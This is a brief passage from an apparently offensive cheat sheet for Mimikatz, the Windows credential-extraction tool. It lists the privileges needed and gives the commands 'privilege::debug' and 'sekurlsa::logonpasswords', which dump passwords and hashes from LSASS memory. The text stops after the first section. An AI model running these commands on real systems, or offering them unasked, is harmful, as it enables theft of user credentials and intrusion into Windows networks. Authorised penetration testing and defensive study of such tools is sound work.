Mimikatz

Windows credential extraction — LSASS dump, DPAPI, Kerberos, token impersonation, and ticket attacks.

Privilege Requirement

SeDebugPrivilege is required for most operations. Enable first:

privilege::debug

Run from admin shell. If UAC active: run mimikatz.exe as Administrator.

1. LSASS Credential Dumping

sekurlsa::logonpasswords